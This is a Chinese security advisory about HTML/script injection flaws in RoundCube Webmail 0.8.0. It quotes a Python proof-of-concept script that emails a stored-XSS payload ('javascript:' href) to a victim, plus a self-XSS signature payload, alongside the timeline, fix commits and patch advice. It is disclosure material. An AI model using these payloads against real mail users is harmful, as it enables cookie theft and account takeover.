RoundCube Webmail 'href'邮件体HTML注入漏洞


发布日期：2012-08-17
更新日期：2012-08-21

受影响系统：
RoundCube Webmail 0.X
描述：
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BUGTRAQ  ID: 55051

RoundCube Webmail是一个基于浏览器的IMAP客户端。

RoundCube Webmail 0.8.0及其他版本在实现上存在多个HTML注入漏洞，通过 "href" HTML 属性传递的输入没有正确过滤即被使用，可允许远程攻击者在受影响浏览器中注入HTML和脚本代码，窃取Cookie身份验证凭证或控制站点外观。

<*来源：Shai rod
  *>

测试方法：
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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Shai rod （）提供了如下测试方法：


#!/usr/bin/python

'''
# Exploit Title: Roundcube Webmail Stored XSS.
# Date: 14/08/2012
# Exploit Author: Shai rod (@NightRang3r)
# Vendor Homepage: http://roundcube.net
# Software Link: http://sourceforge.net/projects/roundcubemail/files/roundcubemail/0.8.0/roundcubemail-0.8.0.tar.gz/download
# Version: 0.8.0


#Gr33Tz: @aviadgolan , @benhayak, @nirgoldshlager, @roni_bachar

# Timeline:
#14 Aug 2012: Discovered Vulnerability.
#14 Aug 2012: Opened Ticket #1488613 - http://trac.roundcube.net/ticket/1488613
#15 Aug 2012: Fix added to repo.

https://github.com/roundcube/roundcubemail/commit/c086978f6a91eacb339fd2976202fca9dad2ef32
https://github.com/roundcube/roundcubemail/commit/5ef8e4ad9d3ee8689d2b83750aa65395b7cd59ee


About the Application:
======================

Roundcube is a free and open source webmail solution with a desktop-like user interface which is easy to install/configure and that runs on a standard LAMPP
server. The skins use the latest web standards such as XHTML and CSS 2. Roundcube includes other sophisticated open-source libraries such as PEAR,
an IMAP library derived from IlohaMail the TinyMCE rich text editor, Googiespell library for spell checking or the WasHTML sanitizer by Frederic Motte.

Vulnerability Description
=========================

1. Stored XSS in e-mail body.

XSS Payload: <a href=javascript:alert("XSS")>POC MAIL</a>

Send an email to the victim with the payload in the email body, Once the user clicks on the url the XSS should be triggered.

2. Self XSS in e-mail body (Signature).

XSS Payload: "><img src='1.jpg'onerror=javascript:alert("XSS")>

In order to trigger this XSS you should insert the payload into your signature.

Settings -> Identities -> Your Identitiy -> Signature
Now create a new mail, XSS Should be triggered.

'''

import smtplib

print "###############################################"
print "#       Roundcube 0.8.0 Stored XSS POC        #"
print "#             Coded by: Shai rod              #"
print "#               @NightRang3r                  #"
print "#           http://exploit.co.il              #"
print "#       For Educational Purposes Only!        #"
print "###############################################\r\n"

# SETTINGS

sender = "attacker@localhost"
smtp_login = sender
smtp_password = "qwe123"
recipient = "victim@localhost"
smtp_server  = "192.168.1.10"
smtp_port = 25
subject = "Roundcube Webmail XSS POC"


# SEND E-MAIL

print "[*] Sending E-mail to " + recipient + "..."
msg = ("From: %s\r\nTo: %s\r\nSubject: %s\n"
       % (sender, ", ".join(recipient), subject) )
msg += "Content-type: text/html\n\n"
msg += """<a href=javascript:alert("XSS")>Click Me, Please...</a>\r\n"""
server = smtplib.SMTP(smtp_server, smtp_port)
server.ehlo()
server.starttls()
server.login(smtp_login, smtp_password)
server.sendmail(sender, recipient, msg)
server.quit()
print "[+] E-mail sent!"

建议：
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厂商补丁：

RoundCube
---------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://roundcube.net/

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